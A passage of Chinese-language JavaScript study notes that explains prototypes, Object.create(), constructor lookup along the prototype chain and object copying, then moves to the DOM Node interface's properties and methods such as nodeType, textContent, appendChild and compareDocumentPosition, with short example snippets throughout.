第二步，将构造函数内部的 `this` 绑定这个空对象，然后执行构造函数，使得定义在 `this` 上面的方法和属性（上例是 `this.foo`），都转移到这个空对象上。

#### `Object.create()`

生成实例对象的常用方法是，使用 `new` 命令让构造函数返回一个实例，但是很多时候，只能拿到一个实例对象，它可能根本不是由构建函数生成的

那么可以直接从一个实例对象，生成另一个实例对象。

JavaScript 提供了 `Object.create()` 方法，用来满足这种需求，该方法接受一个对象作为参数，然后以它为原型，返回一个实例对象，该实例完全继承原型对象的属性。

```js
// 原型对象
var A = {
  print: function () {
    console.log('hello');
  }
};

// 实例对象
var B = Object.create(A);

Object.getPrototypeOf(B) === A // true
B.print() // hello
B.print === A.print // true
```

`Object.create()` 方法以 `A` 对象为原型，生成了 `B` 对象，`B` 继承了 `A` 的所有属性和方法。

实际上，`Object.create()` 方法可以用下面的代码代替。

```js
if (typeof Object.create !== 'function') {
  Object.create = function (obj) {
    function F() {}
    F.prototype = obj;
    return new F();
  };
}
```

`Object.create()` 方法的实质是新建一个空的构造函数 `F`，然后让 `F.prototype` 属性指向参数对象 `obj`，最后返回一个 `F` 的实例，从而实现让该实例继承 `obj` 的属性。

下面三种方式生成的新对象是等价的。

```js
var obj1 = Object.create({});
var obj2 = Object.create(Object.prototype);
var obj3 = new Object();
```

如果想要生成一个不继承任何属性（比如没有 `toString()` 和 `valueOf()` 方法）的对象，可以将 `Object.create()` 的参数设为 `null`。

```js
var obj = Object.create(null);

obj.valueOf()
// TypeError: Object [object Object] has no method 'valueOf'
```

对象 `obj` 的原型是 `null`，它就不具备一些定义在 `Object.prototype` 对象上面的属性，比如 `valueOf()` 方法。

使用 `Object.create()` 方法的时候，必须提供对象原型，即参数不能为空，或者不是对象，否则会报错。

`Object.create()` 方法生成的新对象，动态继承了原型，在原型上添加或修改任何方法，会立刻反映在新对象之上。

```js
var obj1 = { p: 1 };
var obj2 = Object.create(obj1);

obj1.p = 2;
obj2.p // 2
```

除了对象的原型，`Object.create()` 方法还可以接受第二个参数，该参数是一个属性描述对象，它所描述的对象属性，会添加到实例对象，作为该对象自身的属性。

```js
var obj = Object.create({}, {
  p1: {
    value: 123,
    enumerable: true,
    configurable: true,
    writable: true,
  },
  p2: {
    value: 'abc',
    enumerable: true,
    configurable: true,
    writable: true,
  }
});

// 等同于
var obj = Object.create({});
obj.p1 = 123;
obj.p2 = 'abc';
```

`Object.create()` 方法生成的对象，继承了它的原型对象的构造函数。

```js
function A() {}
var a = new A();
var b = Object.create(a);

b.constructor === A // true
b instanceof A // true
```

`b` 对象的原型是 `a` 对象，因此继承了 `a` 对象的构造函数 `A`

实际上，这个 `constructor` 是从原型链上“找”到的，不是 `b` 自己的属性。

`constructor` 属性默认在 `A.prototype` 上（即 `A.prototype.constructor === A`），所以：

* `b` 上没有 `constructor`
* 去 `a` 上找，也没有（默认情况下实例对象自己没有 `constructor`）
* 再去 `A.prototype` 上找，找到了 `constructor`，值就是 `A`

如果手动改过 `A.prototype = { ... }`（没把 `constructor` 补回去），那 `constructor` 可能就不再指向 `A` 了，实际上：**没补回去，就会沿着原型链继续往上找**，关键在于——往上找“能不能找到”和“找到的是谁”，取决于把 `A.prototype` 换成了什么，以及那玩意儿的原型链长啥样。

**（1）把 A.prototype 重写成一个“普通对象字面量”**

```js
function A() {}
A.prototype = { x: 1 }; // 没写 constructor
var a = new A();
a.constructor
```

此时原型链是：`a → (新的 A.prototype) → Object.prototype → null`

* 新的 `A.prototype` 是 `{ x: 1 }`，它自己 **没有** `constructor`
* 继续往上到 `Object.prototype`，那里有 `constructor`（指向 `Object`）

所以：

```js
a.constructor === Object // true
a.constructor === A      // false
```

**经典坑：实例的 constructor 变成 Object 了。**

**（2）把 `A.prototype` 设成一个“干净对象”（原型为 null）**

```js
function A() {}
A.prototype = Object.create(null); // 原型链直接断了
var a = new A();
a.constructor
```

原型链：`a → A.prototype(原型为 null) → null`

* `A.prototype` 没有 `constructor`
* 也没有 `Object.prototype` 可以继续找（因为原型就是 null）

所以：

```js
a.constructor // undefined
```

**（3) 把 A.prototype 设成“另一个构造函数的实例/原型链”**

```js
function B() {}
function A() {}
A.prototype = new B(); // 或 Object.create(B.prototype)，但这里用 new B 举例
var a = new A();
a.constructor
```

* `A.prototype` 是 `new B()` 出来的实例对象，通常它自己没有 `constructor`
* 往上会到 `B.prototype`
* `B.prototype` 默认有 `constructor === B`

所以：

```js
a.constructor === B // 常见结果：true
```

这也是为啥继承里会写：

```js
A.prototype = Object.create(B.prototype);
A.prototype.constructor = A;
```

否则 `constructor` 会“指向父类 B”。

**（4）回到最初的 b = Object.create(a) 场景**

如果后来把 `A.prototype` 换掉了（没补 constructor），那么 `b.constructor` 当然也会跟着变，因为它最终是从 `A.prototype` 那条线上拿到的。

```js
function A() {}
var a = new A();
var b = Object.create(a);

A.prototype = { x: 1 }; // 重写 prototype（注意：这不会影响已经创建好的 a 的 [[Prototype]]！）
b.constructor
```

关键点：

* **重写 `A.prototype` 只影响“之后 new 出来的实例”**
* **不会 retroactively 改变已经存在的 `a` 的原型**（`a.__proto__` 还是旧的那个 prototype 对象）

所以在这个例子里：

* `b → a → (旧的 A.prototype)` 仍然存在
* `b.constructor` 仍然从旧的 `A.prototype.constructor`（还指向 A）拿到

也就是说，**对已经创建的 `a/b` 不一定产生预期的变化**。

```js
function A() {}
A.prototype = { x: 1 }; // 没 constructor

var a2 = new A();
a2.constructor === Object // true
```

#### `Object.getOwnPropertyNames()`

`Object.getOwnPropertyNames` 方法返回一个数组，成员是参数对象本身的所有属性的键名，不包含继承的属性键名。

```js
Object.getOwnPropertyNames(Date)
// ["parse", "arguments", "UTC", "caller", "name", "prototype", "now", "length"]
```

`Object.getOwnPropertyNames` 方法返回 `Date` 所有自身的属性名。

对象本身的属性之中，有的是可以遍历的（enumerable），有的是不可以遍历的，`Object.getOwnPropertyNames` 方法返回所有键名，不管是否可以遍历。

只获取那些可以遍历的属性，使用 `Object.keys` 方法。

```js
Object.keys(Date) // []
```

上面代码表明，`Date` 对象所有自身的属性，都是不可以遍历的。

### 原型方法

#### `Object.prototype.isPrototypeOf()`

实例对象的 `isPrototypeOf` 方法，用来判断该对象是否为参数对象的原型。

```js
var o1 = {};
var o2 = Object.create(o1);
var o3 = Object.create(o2);

o2.isPrototypeOf(o3) // true
o1.isPrototypeOf(o3) // true
```

`o1` 和 `o2` 都是 `o3` 的原型，这表明只要实例对象处在参数对象的原型链上，`isPrototypeOf` 方法都返回 `true`。

```js
Object.prototype.isPrototypeOf({}) // true
Object.prototype.isPrototypeOf([]) // true
Object.prototype.isPrototypeOf(/xyz/) // true
Object.prototype.isPrototypeOf(Object.create(null)) // false
```

上面代码中，由于 `Object.prototype` 处于原型链的最顶端，所以对各种实例都返回 `true`，只有直接继承自 `null` 的对象除外。

#### `Object.prototype.__proto__`

实例对象的 `__proto__` 属性（前后各两个下划线），返回该对象的原型，该属性可读写。

```js
var obj = {};
var p = {};

obj.__proto__ = p;
Object.getPrototypeOf(obj) === p // true
```

上面代码通过 `__proto__` 属性，将 `p` 对象设为 `obj` 对象的原型。

根据语言标准，`__proto__` 属性只有浏览器才需要部署，其他环境可以没有这个属性。

它前后的两根下划线，表明它本质是一个内部属性，不应该对使用者暴露，因此，应该尽量少用这个属性，而是用 `Object.getPrototypeOf()` 和 `Object.setPrototypeOf()`，进行原型对象的读写操作。

原型链可以用 `__proto__` 很直观地表示。

```js
var A = {
  name: '张三'
};
var B = {
  name: '李四'
};

var proto = {
  print: function () {
    console.log(this.name);
  }
};

A.__proto__ = proto;
B.__proto__ = proto;

A.print() // 张三
B.print() // 李四

A.print === B.print // true
A.print === proto.print // true
B.print === proto.print // true
```

`A` 对象和 `B` 对象的原型都是 `proto` 对象，它们都共享 `proto` 对象的 `print` 方法，也就是说，`A` 和 `B` 的 `print` 方法，都是在调用 `proto` 对象的 `print` 方法。

#### `Object.prototype.hasOwnProperty()`

对象实例的 `hasOwnProperty` 方法返回一个布尔值，用于判断某个属性定义在对象自身，还是定义在原型链上。

```js
Date.hasOwnProperty('length') // true
Date.hasOwnProperty('toString') // false
```

上面代码表明，`Date.length`（构造函数 `Date` 可以接受多少个参数）是 `Date` 自身的属性，`Date.toString` 是继承的属性。

另外，`hasOwnProperty` 方法是 JavaScript 之中唯一一个处理对象属性时，不会遍历原型链的方法。

## 获取原型对象方法的比较

`__proto__` 属性指向当前对象的原型对象，即构造函数的 `prototype` 属性

```js
var obj = new Object();

obj.__proto__ === Object.prototype
// true
obj.__proto__ === obj.constructor.prototype
// true
```

首先新建了一个对象 `obj`，它的 `__proto__` 属性，指向构造函数（`Object` 或 `obj.constructor`）的 `prototype` 属性。

因此，获取实例对象 `obj` 的原型对象，有三种方法。

* `obj.__proto__`
* `obj.constructor.prototype`
* `Object.getPrototypeOf(obj)`

上面三种方法之中，前两种都不是很可靠，`__proto__` 属性只有浏览器才需要部署，其他环境可以不部署，而 `obj.constructor.prototype` 在手动改变原型对象时，可能会失效。

```js
var P = function () {};
var p = new P();

var C = function () {};
C.prototype = p;
var c = new C();

c.constructor.prototype === p // false
```

构造函数 `C` 的原型对象被改成了 `p`，但是实例对象的 `c.constructor.prototype` 却没有指向 `p`，所以，在改变原型对象时，一般要同时设置 `constructor` 属性。

```js
C.prototype = p;
C.prototype.constructor = C;

var c = new C();
c.constructor.prototype === p // true
```

因此，推荐使用第三种 `Object.getPrototypeOf` 方法，获取原型对象。

## in 运算符和 for...in 循环

`in` 运算符返回一个布尔值，表示一个对象是否具有某个属性，它不区分该属性是对象自身的属性，还是继承的属性。

```js
'length' in Date // true
'toString' in Date // true
```

`in` 运算符常用于检查一个属性是否存在。

获得对象的所有可遍历属性（不管是自身的还是继承的），可以使用 `for...in` 循环。

```js
var o1 = { p1: 123 };

var o2 = Object.create(o1, {
  p2: { value: "abc", enumerable: true }
});

for (p in o2) {
  console.info(p);
}
// p2
// p1
```

对象 `o2` 的 `p2` 属性是自身的，`p1` 属性是继承的。这两个属性都会被 `for...in` 循环遍历。

为了在 `for...in` 循环中获得对象自身的属性，可以采用 `hasOwnProperty` 方法判断一下。

```js
for ( var name in object ) {
  if ( object.hasOwnProperty(name) ) {
  }
}
```

获得对象的所有属性（不管是自身的还是继承的，也不管是否可枚举），可以使用下面的函数。

```js
function inheritedPropertyNames(obj) {
  var props = {};
  while(obj) {
    Object.getOwnPropertyNames(obj).forEach(function(p) {
      props[p] = true;
    });
    obj = Object.getPrototypeOf(obj);
  }
  return Object.getOwnPropertyNames(props);
}
```

上面代码依次获取 `obj` 对象的每一级原型对象“自身”的属性，从而获取 `obj` 对象的“所有”属性，不管是否可遍历。

下面是一个例子，列出 `Date` 对象的所有属性。

```js
inheritedPropertyNames(Date)
// [
//  "caller",
//  "constructor",
//  "toString",
//  "UTC",
//  ...
// ]
```

## 对象的拷贝

如果要拷贝一个对象，需要做到下面两件事情。

* 确保拷贝后的对象，与原对象具有同样的原型。
* 确保拷贝后的对象，与原对象具有同样的实例属性。

下面就是根据上面两点，实现的对象拷贝函数。

```js
function copyObject(orig) {
  var copy = Object.create(Object.getPrototypeOf(orig));
  copyOwnPropertiesFrom(copy, orig);
  return copy;
}

function copyOwnPropertiesFrom(target, source) {
  Object
    .getOwnPropertyNames(source)
    .forEach(function (propKey) {
      var desc = Object.getOwnPropertyDescriptor(source, propKey);
      Object.defineProperty(target, propKey, desc);
    });
  return target;
}
```

另一种更简单的写法，是利用 ES2017 才引入标准的 `Object.getOwnPropertyDescriptors` 方法。

```js
function copyObject(orig) {
  return Object.create(
    Object.getPrototypeOf(orig),
    Object.getOwnPropertyDescriptors(orig)
  );
}
```

注意这是 **浅拷贝**

`Object.getOwnPropertyDescriptors(orig)` 只是把 **orig 自己的属性描述符**（value / getter / setter / writable / enumerable / configurable）原样拷过去

如果某个属性的 `value` 是对象/数组/函数之类的引用，它拷过去的还是 **同一个引用**，不会递归复制里面的内容。

```js
const o = { nested: { x: 1 } };
const c = copyObject(o);

c !== o;                 // true，新对象
c.nested === o.nested;   // true，同一个嵌套对象 -> 浅拷贝
```

---

---
url: /skill/6l1c2lgx/index.md
---
# JS 回顾 6
## DOM

### 概述

DOM 是 JavaScript 操作网页的接口，全称为“文档对象模型”（Document Object Model），它的作用是将网页转为一个 JavaScript 对象，从而可以用脚本进行各种操作（比如增删内容）。

浏览器会根据 DOM 模型，将结构化文档（比如 HTML 和 XML）解析成一系列的节点，再由这些节点组成一个树状结构（DOM Tree），所有的节点和最终的树状结构，都有规范的对外接口。

DOM 只是一个接口规范，可以用各种语言实现。所以严格地说，DOM 不是 JavaScript 语法的一部分，但是 DOM 操作是 JavaScript 最常见的任务，离开了 DOM，JavaScript 就无法控制网页。

另一方面，JavaScript 也是最常用于 DOM 操作的语言。

### 节点

DOM 的最小组成单位叫做节点（node），文档的树形结构（DOM 树），就是由各种不同类型的节点组成，每个节点可以看作是文档树的一片叶子。

节点的类型有七种。

* `Document`：整个文档树的顶层节点
* `DocumentType`：`doctype` 标签（比如 `<!DOCTYPE html>`）
* `Element`：网页的各种 HTML 标签（比如 `<body>`、`<a>` 等）
* `Attr`：网页元素的属性（比如 `class="right"`）
* `Text`：标签之间或标签包含的文本
* `Comment`：注释
* `DocumentFragment`：文档的片段

浏览器提供一个原生的节点对象 `Node`，上面这七种节点都继承了 `Node`，因此具有一些共同的属性和方法。

### 节点树

一个文档的所有节点，按照所在的层级，可以抽象成一种树状结构。

这种树状结构就是 DOM 树，它有一个顶层节点，下一层都是顶层节点的子节点，然后子节点又有自己的子节点，就这样层层衍生出一个金字塔结构，又像一棵树。

浏览器原生提供 `document` 节点，代表整个文档。

文档的第一层有两个节点，第一个是文档类型节点（`<!doctype html>`），第二个是 HTML 网页的顶层容器标签 `<html>`。

后者构成了树结构的根节点（root node），其他 HTML 标签节点都是它的下级节点。

除了根节点，其他节点都有三种层级关系。

* 父节点关系（parentNode）：直接的那个上级节点
* 子节点关系（childNodes）：直接的下级节点
* 同级节点关系（sibling）：拥有同一个父节点的节点

DOM 提供操作接口，用来获取这三种关系的节点。

比如，子节点接口包括 `firstChild`（第一个子节点）和 `lastChild`（最后一个子节点）等属性，同级节点接口包括 `nextSibling`（紧邻在后的那个同级节点）和 `previousSibling`（紧邻在前的那个同级节点）属性。

## Node 接口

所有 DOM 节点对象都继承了 Node 接口，拥有一些共同的属性和方法，这是 DOM 操作的基础。

### 属性

#### `Node.prototype.nodeType`

`nodeType` 属性返回一个整数值，表示节点的类型。

```js
document.nodeType // 9
```

上面代码中，文档节点的类型值为 9。

Node 对象定义了几个常量，对应这些类型值。

```js
document.nodeType === Node.DOCUMENT_NODE // true
```

文档节点的 `nodeType` 属性等于常量 `Node.DOCUMENT_NODE`。

不同节点的 `nodeType` 属性值和对应的常量如下。

* 文档节点（document）：9，对应常量 `Node.DOCUMENT_NODE`
* 元素节点（element）：1，对应常量 `Node.ELEMENT_NODE`
* 属性节点（attr）：2，对应常量 `Node.ATTRIBUTE_NODE`
* 文本节点（text）：3，对应常量 `Node.TEXT_NODE`
* 文档片断节点（DocumentFragment）：11，对应常量 `Node.DOCUMENT_FRAGMENT_NODE`
* 文档类型节点（DocumentType）：10，对应常量 `Node.DOCUMENT_TYPE_NODE`
* 注释节点（Comment）：8，对应常量 `Node.COMMENT_NODE`

确定节点类型时，使用 `nodeType` 属性是常用方法。

```js
var node = document.documentElement.firstChild;
if (node.nodeType === Node.ELEMENT_NODE) {
  console.log('该节点是元素节点');
}
```

#### `Node.prototype.nodeName`

`nodeName` 属性返回节点的名称。

```js
// HTML 代码如下
// <div id="d1"> hello world </div>
var div = document.getElementById('d1');
div.nodeName // "DIV"
```

元素节点 `<div>` 的 `nodeName` 属性就是大写的标签名 `DIV`。

不同节点的 `nodeName` 属性值如下。

* 文档节点（document）：`#document`
* 元素节点（element）：大写的标签名
* 属性节点（attr）：属性的名称
* 文本节点（text）：`#text`
* 文档片断节点（DocumentFragment）：`#document-fragment`
* 文档类型节点（DocumentType）：文档的类型
* 注释节点（Comment）：`#comment`

#### `Node.prototype.nodeValue`

`nodeValue` 属性返回一个字符串，表示当前节点 **本身的文本值**，该属性可读写。

**只有文本节点（text）、注释节点（comment）和属性节点（attr）有文本值**，因此这三类节点的 `nodeValue` 可以返回结果，其他类型的节点一律返回 `null`，同样的，也只有这三类节点可以设置 `nodeValue` 属性的值，其他类型的节点设置无效。

```js
// HTML 代码如下
// <div id="d1"> hello world </div>
var div = document.getElementById('d1');
div.nodeValue // null
div.firstChild.nodeValue // "hello world"
```

`div` 是元素节点，`nodeValue` 属性返回 `null`，`div.firstChild` 是文本节点，所以可以返回文本值。

#### `Node.prototype.textContent`

`textContent` 属性返回当前节点和它的所有后代节点的文本内容。

```js
// HTML 代码为
// <div id="divA"> This is <span> some </span> text </div>

document.getElementById('divA').textContent
// This is some text
```

`textContent` 属性自动忽略当前节点内部的 HTML 标签，返回所有文本内容。

该属性是可读写的，设置该属性的值，会用一个新的文本节点，替换所有原来的子节点。它还有一个好处，就是自动对 HTML 标签转义。这很适合用于用户提供的内容。

```js
document.getElementById('foo').textContent = '<p>GoodBye!</p>';
```

上面代码在插入文本时，会将 `<p>` 标签解释为文本，而不会当作标签处理。

对于文本节点（text）、注释节点（comment）和属性节点（attr），`textContent` 属性的值与 `nodeValue` 属性相同。对于其他类型的节点，该属性会将每个子节点（不包括注释节点）的内容连接在一起返回。如果一个节点没有子节点，则返回空字符串。

文档节点（document）和文档类型节点（doctype）的 `textContent` 属性为 `null`。如果要读取整个文档的内容，可以使用 `document.documentElement.textContent`。

#### `Node.prototype.baseURI`

`baseURI` 属性返回一个字符串，表示当前网页的绝对路径，浏览器根据这个属性，计算网页上的相对路径的 URL，该属性为只读。

```js
// 当前网页的网址为
// http://www.example.com/index.html
document.baseURI
// "http://www.example.com/index.html"
```

如果无法读到网页的 URL，`baseURI` 属性返回 `null`。

该属性的值一般由当前网址的 URL（即 `window.location` 属性）决定，但是可以使用 HTML 的 `<base>` 标签，改变该属性的值。

```html
<base href="http://www.example.com/page.html">
```

设置了以后，`baseURI` 属性就返回 `<base>` 标签设置的值。

#### `Node.prototype.ownerDocument`

`Node.ownerDocument` 属性返回当前节点所在的顶层文档对象，即 `document` 对象。

```js
var d = p.ownerDocument;
d === document // true
```

`document` 对象本身的 `ownerDocument` 属性，返回 `null`。

#### `Node.prototype.nextSibling`

`Node.nextSibling` 属性返回紧跟在当前节点后面的第一个同级节点。如果当前节点后面没有同级节点，则返回 `null`。

```js
// HTML 代码如下
// <div id="d1"> hello </div> <div id="d2"> world </div>
var d1 = document.getElementById('d1');
var d2 = document.getElementById('d2');

d1.nextSibling === d2 // true
```

`d1.nextSibling` 就是紧跟在 `d1` 后面的同级节点 `d2`。

**注意**：该属性还包括文本节点和注释节点（`<!-- comment -->`）。因此如果当前节点后面有空格，该属性会返回一个文本节点，内容为空格。

`nextSibling` 属性可以用来遍历所有子节点。

```js
var el = document.getElementById('div1').firstChild;

while (el !== null) {
  console.log(el.nodeName);
  el = el.nextSibling;
}
```

上面代码遍历 `div1` 节点的所有子节点。

#### `Node.prototype.previousSibling`

`previousSibling` 属性返回当前节点前面的、距离最近的一个同级节点。如果当前节点前面没有同级节点，则返回 `null`。

```js
// HTML 代码如下
// <div id="d1"> hello </div> <div id="d2"> world </div>
var d1 = document.getElementById('d1');
var d2 = document.getElementById('d2');

d2.previousSibling === d1 // true
```

上面代码中，`d2.e` 就是 `d2` 前面的同级节点 `d1`。

**注意**：该属性还包括文本节点和注释节点。因此如果当前节点前面有空格，该属性会返回一个文本节点，内容为空格。

#### `Node.prototype.parentNode`

`parentNode` 属性返回当前节点的父节点。对于一个节点来说，它的父节点只可能是三种类型：元素节点（element）、文档节点（document）和文档片段节点（documentfragment）。

```js
if (node.parentNode) {
  node.parentNode.removeChild(node);
}
```

上面代码中，通过 `node.parentNode` 属性将 `node` 节点从文档里面移除。

文档节点（document）和文档片段节点（documentfragment）的父节点都是 `null`。另外，**对于那些生成后还没插入 DOM 树的节点，父节点也是 `null`**。

#### `Node.prototype.parentElement`

`parentElement` 属性返回当前节点的父元素节点。如果当前节点没有父节点，或者父节点类型不是元素节点，则返回 `null`。

```js
if (node.parentElement) {
  node.parentElement.style.color = 'red';
}
```

上面代码中，父元素节点的样式设定了红色。

由于父节点只可能是三种类型：元素节点、文档节点（document）和文档片段节点（documentfragment）。`parentElement` 属性相当于把后两种父节点都排除了。

#### `Node.prototype.firstChild`

#### `Node.prototype.lastChild`

`firstChild` 属性返回当前节点的第一个子节点，如果当前节点没有子节点，则返回 `null`。

```js
// HTML 代码如下
// <p id="p1"> <span> First span </span> </p>
var p1 = document.getElementById('p1');
p1.firstChild.nodeName // "SPAN"
```

上面代码中，`p` 元素的第一个子节点是 `span` 元素。

**注意**：`firstChild` 返回的除了元素节点，还可能是文本节点或注释节点。

```js
// HTML 代码如下
// <p id="p1">
//   <span> First span </span>
//  </p>
var p1 = document.getElementById('p1');
p1.firstChild.nodeName // "#text"
```

上面代码中，`p` 元素与 `span` 元素之间有空白字符，这导致 `firstChild` 返回的是文本节点。

`lastChild` 属性返回当前节点的最后一个子节点，如果当前节点没有子节点，则返回 `null`，用法与 `firstChild` 属性相同。

#### `Node.prototype.childNodes`

`childNodes` 属性返回一个类似数组的对象（`NodeList` 集合），成员包括当前节点的所有子节点。

```js
var children = document.querySelector('ul').childNodes;
```

上面代码中，`children` 就是 `ul` 元素的所有子节点。

```js
var div = document.getElementById('div1');
var children = div.childNodes;

for (var i = 0; i < children.length; i++) {
  // ...
}
```

文档节点（document）就有两个子节点：文档类型节点（docType）和 HTML 根元素节点。

```js
var children = document.childNodes;
for (var i = 0; i < children.length; i++) {
  console.log(children[i].nodeType);
}
// 10
// 1
```

上面代码中，文档节点的第一个子节点的类型是 10（即文档类型节点），第二个子节点的类型是 1（即元素节点）。

**注意**：除了元素节点，`childNodes` 属性的返回值还包括文本节点和注释节点。如果当前节点不包括任何子节点，则返回一个空的 `NodeList` 集合。**由于 `NodeList` 对象是一个动态集合，一旦子节点发生变化，立刻会反映在返回结果之中**。

#### `Node.prototype.isConnected`

`isConnected` 属性返回一个布尔值，表示当前节点是否在文档之中。

```js
var test = document.createElement('p');
test.isConnected // false

document.body.appendChild(test);
test.isConnected // true
```

上面代码中，`test` 节点是脚本生成的节点，没有插入文档之前，`isConnected` 属性返回 `false`，插入之后返回 `true`。

### 方法

#### `Node.prototype.appendChild()`

`appendChild()` 方法接受一个节点对象作为参数，将其作为最后一个子节点，插入当前节点。该方法的返回值就是插入文档的子节点。

```js
var p = document.createElement('p');
document.body.appendChild(p);
```

上面代码新建一个 `<p>` 节点，将其插入 `document.body` 的尾部。

如果参数节点是 DOM 已经存在的节点，`appendChild()` 方法会将其从原来的位置，移动到新位置。

如果 `appendChild()` 方法的参数是 `DocumentFragment` 节点，那么插入的是 `DocumentFragment` 的所有子节点，而不是 `DocumentFragment` 节点本身。返回值是一个空的 `DocumentFragment` 节点。

#### `Node.prototype.hasChildNodes()`

`hasChildNodes` 方法返回一个布尔值，表示当前节点是否有子节点。

```js
var foo = document.getElementById('foo');

if (foo.hasChildNodes()) {
  foo.removeChild(foo.childNodes[0]);
}
```

上面代码表示，如果 `foo` 节点有子节点，就移除第一个子节点。

**注意**：子节点包括所有类型的节点，并不仅仅是元素节点。哪怕节点只包含一个空格，`hasChildNodes` 方法也会返回 `true`。

判断一个节点有没有子节点，有许多种方法，下面是其中的三种。

* `node.hasChildNodes()`
* `node.firstChild !== null`
* `node.childNodes && node.childNodes.length > 0`

`hasChildNodes` 方法结合 `firstChild` 属性和 `nextSibling` 属性，可以遍历当前节点的所有后代节点。

```js
function DOMComb(parent, callback) {
  if (parent.hasChildNodes()) {
    for (var node = parent.firstChild; node; node = node.nextSibling) {
      DOMComb(node, callback);
    }
  }
  callback(parent);
}

// 用法
DOMComb(document.body, console.log)
```

上面代码中，`DOMComb` 函数的第一个参数是某个指定的节点，第二个参数是回调函数。这个回调函数会依次作用于指定节点，以及指定节点的所有后代节点。

#### `Node.prototype.cloneNode()`

`cloneNode` 方法用于克隆一个节点，它接受一个布尔值作为参数，表示是否同时克隆子节点，它的返回值是一个克隆出来的新节点。

```js
var cloneUL = document.querySelector('ul').cloneNode(true);
```

该方法有一些使用注意点。

* 克隆一个节点，会拷贝该节点的所有属性，但是会丧失 `addEventListener` 方法和 `on-` 属性（即 `node.onclick = fn`），添加在这个节点上的事件回调函数。

* 该方法返回的节点不在文档之中，即没有任何父节点，必须使用诸如 `Node.appendChild` 这样的方法添加到文档之中。

* 克隆一个节点之后，DOM 有可能出现两个有相同 `id` 属性（即 `id="xxx"`）的网页元素，这时应该修改其中一个元素的 `id` 属性。如果原节点有 `name` 属性，可能也需要修改。

#### `Node.prototype.insertBefore()`

`insertBefore` 方法用于将某个节点插入父节点内部的指定位置。

```js
var insertedNode = parentNode.insertBefore(newNode, referenceNode);
```

`insertBefore` 方法接受两个参数，第一个参数是所要插入的节点 `newNode`，第二个参数是父节点 `parentNode` 内部的一个子节点 `referenceNode`。`newNode` 将插在 `referenceNode` 这个子节点的前面。返回值是插入的新节点 `newNode`。

```js
var p = document.createElement('p');
document.body.insertBefore(p, document.body.firstChild);
```

上面代码中，新建一个 `<p>` 节点，插在 `document.body.firstChild` 的前面，也就是成为 `document.body` 的第一个子节点。

如果 `insertBefore` 方法的第二个参数为 `null`，则新节点将插在当前节点内部的最后位置，即变成最后一个子节点。

```js
var p = document.createElement('p');
document.body.insertBefore(p, null);
```

上面代码中，`p` 将成为 `document.body` 的最后一个子节点。这也说明 `insertBefore` 的第二个参数不能省略。

注意：如果所要插入的节点是当前 DOM 现有的节点，则该节点将从原有的位置移除，插入新的位置。

由于不存在 `insertAfter` 方法，如果新节点要插在父节点的某个子节点后面，可以用 `insertBefore` 方法结合 `nextSibling` 属性模拟。

```js
parent.insertBefore(s1, s2.nextSibling);
```

上面代码中，`parent` 是父节点，`s1` 是一个全新的节点，`s2` 是可以将 `s1` 节点，插在 `s2` 节点的后面。如果 `s2` 是当前节点的最后一个子节点，则 `s2.nextSibling` 返回 `null`，这时 `s1` 节点会插在当前节点的最后，变成当前节点的最后一个子节点，等于紧跟在 `s2` 的后面。

如果要插入的节点是 `DocumentFragment` 类型，那么插入的将是 `DocumentFragment` 的所有子节点，而不是 `DocumentFragment` 节点本身。返回值将是一个空的 `DocumentFragment` 节点。

#### `Node.prototype.removeChild()`

`removeChild` 方法接受一个子节点作为参数，用于从当前节点移除该子节点。返回值是移除的子节点。

```js
var divA = document.getElementById('A');
divA.parentNode.removeChild(divA);
```

上面代码移除了 `divA` 节点。注意，这个方法是在 `divA` 的父节点上调用的，不是在 `divA` 上调用的。

下面是如何移除当前节点的所有子节点。

```js
var element = document.getElementById('top');
while (element.firstChild) {
  element.removeChild(element.firstChild);
}
```

被移除的节点依然存在于内存之中，但不再是 DOM 的一部分。所以，一个节点移除以后，依然可以使用它，比如插入到另一个节点下面。

如果参数节点不是当前节点的子节点，`removeChild` 方法将报错。

#### `Node.prototype.replaceChild()`

`replaceChild` 方法用于将一个新的节点，替换当前节点的某一个子节点。

```js
var replacedNode = parentNode.replaceChild(newChild, oldChild);
```

上面代码中，`replaceChild` 方法接受两个参数，第一个参数 `newChild` 是用来替换的新节点，第二个参数 `oldChild` 是将要替换走的子节点。返回值是替换走的那个节点 `oldChild`。

```js
var divA = document.getElementById('divA');
var newSpan = document.createElement('span');
newSpan.textContent = 'Hello World!';
divA.parentNode.replaceChild(newSpan, divA);
```

上面代码是如何将指定节点 `divA` 替换走。

#### `Node.prototype.contains()`

`contains` 方法返回一个布尔值，表示参数节点是否满足以下三个条件之一。

* 参数节点为当前节点。
* 参数节点为当前节点的子节点。
* 参数节点为当前节点的后代节点。

```js
document.body.contains(node)
```

上面代码检查参数节点 `node`，是否包含在当前文档之中。

注意，当前节点传入 `contains` 方法，返回 `true`。

```js
nodeA.contains(nodeA) // true
```

#### `Node.prototype.compareDocumentPosition()`

`compareDocumentPosition` 方法的用法，与 `contains` 方法完全一致，返回一个六个比特位的二进制值，表示参数节点与当前节点的关系。

| 二进制值 | 十进制值 | 含义                                               |
| -------- | -------- | -------------------------------------------------- |
| 000000   | 0        | 两个节点相同                                       |
| 000001   | 1        | 两个节点不在同一个文档（即有一个节点不在当前文档） |
| 000010   | 2        | 参数节点在当前节点的前面                           |
| 000100   | 4        | 参数节点在当前节点的后面                           |
| 001000   | 8        | 参数节点包含当前节点                               |
| 010000   | 16       | 当前节点包含参数节点                               |
| 100000   | 32       | 浏览器内部使用                                     |

```js
// HTML 代码如下
// <div id="mydiv">
//   <form> <input id="test" /> </form>
// </div>

var div = document.getElementById('mydiv');
var input = document.getElementById('test');

div.compareDocumentPosition(input) // 20
input.compareDocumentPosition(div) // 10
```

上面代码中，节点 `div` 包含节点 `input`（二进制 `010000`），而且节点 `input` 在节点 `div` 的后面（二进制 `000100`），所以第一个 `compareDocumentPosition` 方法返回 `20`（二进制 `010100`，即 `010000 + 000100`），第二个 `compareDocumentPosition` 方法返回 `10`（二进制 `001010`）。

由于 `compareDocumentPosition` 返回值的含义，定义在每一个比特位上，所以如果要检查某一种特定的含义，就需要使用比特位运算符。

```js
var head = document.head;
var body = document.body;
if (head.compareDocumentPosition(body) & 4) {
  console.log('文档结构正确');
} else {
  console.log('<body> 不能在 <head> 前面');
}
```

上面代码中，`compareDocumentPosition` 的返回值与 `4`（又称掩码）进行与运算（`&`），得到一个布尔值，表示 `<head>` 是否在 `<body>` 前面。

#### `Node.prototype.isEqualNode()`

#### `Node.prototype.isSameNode()`

